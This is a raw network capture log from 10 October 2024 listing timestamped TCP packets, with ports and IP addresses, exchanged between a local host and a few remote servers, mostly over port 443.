Oct 10, 2024 10:13:51.628144979 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.628166914 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.628704071 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.628710032 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.629040003 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.629064083 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.629576921 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.629581928 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.728883028 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.729069948 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.729166985 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.733876944 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.734000921 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.734087944 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.734316111 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.734430075 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.734534025 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.737257957 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.737293005 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.737349033 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.737354994 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.738535881 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:51.769867897 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.769948959 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:51.770164013 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.018482924 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.018537045 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.018556118 CEST	64706	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.018564939 CEST	443	64706	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.019854069 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.019854069 CEST	64704	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.019890070 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.019902945 CEST	443	64704	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.020776987 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.020833015 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.020883083 CEST	64703	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.020893097 CEST	443	64703	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.021667957 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.021694899 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.021708012 CEST	64702	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.021713972 CEST	443	64702	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.022542000 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.022568941 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.022583961 CEST	64705	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.022591114 CEST	443	64705	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.031101942 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.036194086 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:52.063389063 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.063436985 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.063512087 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.063596010 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.063633919 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.063685894 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.066241980 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.066255093 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.066334963 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.066351891 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.067137003 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.067183971 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.067240953 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.067342997 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.067353010 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.069334984 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.069348097 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.069443941 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.071813107 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.071836948 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.071908951 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.072042942 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.072067022 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.072374105 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.072387934 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.208436012 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:52.208513975 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.234354973 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.234409094 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:52.234482050 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.237607002 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.237638950 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:52.718754053 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.719290972 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.719316959 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.719580889 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.719713926 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.719721079 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.720393896 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.720428944 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.720714092 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.720721006 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.725140095 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.725471973 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.725555897 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.725842953 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.725857973 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.728497028 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.728786945 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.728816032 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.729151964 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.729162931 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.773341894 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.776781082 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.776809931 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.777337074 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.777343035 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.827770948 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.827960014 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.828408003 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.828461885 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.828489065 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.828505039 CEST	64707	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.828512907 CEST	443	64707	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.831582069 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.831626892 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.831705093 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.831832886 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.831851006 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832261086 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832376957 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832401037 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832459927 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.832564116 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.832578897 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832582951 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832590103 CEST	64709	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.832595110 CEST	443	64709	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832643986 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.832742929 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.832742929 CEST	64711	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.832777023 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.832799911 CEST	443	64711	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.835237026 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.835249901 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.835314035 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.836000919 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.836097956 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.836102962 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.836112022 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.836195946 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.836263895 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.836291075 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.840257883 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.840459108 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.840504885 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.840569019 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.841026068 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.841042995 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.841070890 CEST	64708	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.841084003 CEST	443	64708	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.846518040 CEST	64716	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.846564054 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.847415924 CEST	64716	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.847543955 CEST	64716	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.847559929 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.854015112 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:52.854129076 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.854486942 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.854490995 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:52.854815960 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:52.854820967 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:52.883917093 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.884061098 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.884140968 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.884398937 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.884413958 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.884423971 CEST	64710	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.884428978 CEST	443	64710	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.887382030 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.887428045 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:52.887522936 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.887645006 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:52.887656927 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.148082972 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:53.148149967 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:53.148217916 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:53.148355007 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:53.148389101 CEST	443	64712	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:53.148401022 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:53.148540974 CEST	64712	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:53.435276985 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.435825109 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.435852051 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.436383963 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.436389923 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.492533922 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.496273041 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.496288061 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.496752024 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.496757984 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.497335911 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.498258114 CEST	64716	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.498282909 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.501867056 CEST	64716	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.501879930 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.508311987 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.509830952 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.509857893 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.510243893 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.510250092 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.561084986 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:53.564171076 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.564240932 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.564287901 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.564891100 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.564908981 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.564924002 CEST	64714	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.564930916 CEST	443	64714	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.566021919 CEST	80	64718	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:53.566111088 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:53.568186998 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:53.570822954 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.570861101 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.570991039 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.571130991 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.571142912 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.573115110 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.573170900 CEST	80	64718	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:53.574321985 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.574340105 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.574878931 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.574883938 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.600678921 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.600811005 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.600860119 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.600861073 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.600903034 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.600955009 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.600971937 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.600985050 CEST	64713	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.600991964 CEST	443	64713	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.605343103 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.605398893 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.605452061 CEST	64716	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.607686043 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.607732058 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.607795954 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.608028889 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.608040094 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.608309984 CEST	64716	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.608321905 CEST	443	64716	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.610815048 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.610865116 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.611049891 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.611756086 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.611771107 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.616662025 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.616746902 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.616786003 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.616838932 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.616856098 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.616868019 CEST	64715	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.616873980 CEST	443	64715	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.619008064 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.619021893 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.619113922 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.619214058 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.619225025 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.685055017 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.685136080 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.685198069 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.685244083 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.685767889 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.685781956 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.685790062 CEST	64717	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.685795069 CEST	443	64717	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.689976931 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.690011024 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:53.690078020 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.690515995 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:53.690526009 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.210424900 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.210937977 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.210958004 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.211540937 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.211546898 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.429940939 CEST	80	64718	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:54.429981947 CEST	80	64718	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:54.430032015 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:54.430073023 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:54.430181026 CEST	80	64718	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:54.430228949 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:54.430861950 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:54.430888891 CEST	64718	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:54.435132027 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.435739994 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.435982943 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.436542988 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.479444981 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.482239008 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.482237101 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.482250929 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.535044909 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.535777092 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.535831928 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.535890102 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.535923958 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.690881968 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.690933943 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.691581964 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.691586971 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.691898108 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.691945076 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.692461014 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.692466974 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.693126917 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.693147898 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.693160057 CEST	64720	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.693165064 CEST	443	64720	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.796658039 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.796828985 CEST	443	64719	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.797008991 CEST	64719	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.799333096 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.799432039 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.799478054 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.866528988 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.866594076 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.866893053 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.866906881 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.973493099 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.973579884 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.973644972 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.973675966 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.973721027 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.973777056 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.977917910 CEST	64722	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.977950096 CEST	443	64722	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.978275061 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.978305101 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:54.978317022 CEST	64723	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:54.978323936 CEST	443	64723	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.038141966 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.038172960 CEST	443	64721	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:55.039041996 CEST	64721	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:55.039058924 CEST	443	64721	13.107.253.45	192.168.2.4
